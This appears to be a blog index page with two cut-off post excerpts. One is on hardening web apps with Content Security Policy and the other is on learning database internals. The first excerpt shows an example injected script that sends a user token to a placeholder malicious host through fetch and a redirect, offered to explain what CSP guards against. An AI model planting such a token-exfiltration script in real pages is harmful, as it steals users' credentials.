Koodihommia

Many blog posts and articles explain which types of attacks the same-origin policy guards against (term usually mixed with CORS). The tl;dr version is that it offers limited protection and is no silver bullet. I'm not going into all the details here, but I find myself writing a blog post to remind me how to harden client-side web applications.  You actually need to spend time configuring the Content Security Policy. It offers an added layer of protection but is quite a pain to get right.  Here is an example. Say you have a vulnerability in your web application that allows arbitrary script execution. The attacker manages to embed this script into your frontend. <script> fetch('https://mailicioussite.somewhere/?yourtoken=token'); window.location.href = 'https://mailicioussite.somewhere/?yourtoken=token'); </script> The same-origin policy does not help since the GET request goes through to the malicious site. A decent CSP policy could prevent both the fetc

I was at a LIVE tech conference last week! The keynote was about learning through tinkering. The talk had a chapter that resonated with me quite profoundly: the zone of proximal development . Essentially, it means a student can only learn something "around" a given subject if the topic is familiar to them. As I've written here a few times, one of the pieces of technology close to my heart is Postgres (and RDMSs in general). I know the basics + some more and can tune some common knobs. Having said that, database internals present a fascinating mystery. I don't understand how they work under the hood - not even close.  I believe that delving into the details and getting hands-on experience can take my understanding to a whole new level. This is the essence of the zone of proximal development - learning by doing and pushing the boundaries of what we already know. I stumbled upon the Carnegie Mellon university database lecture series in some of the investigatory rabbit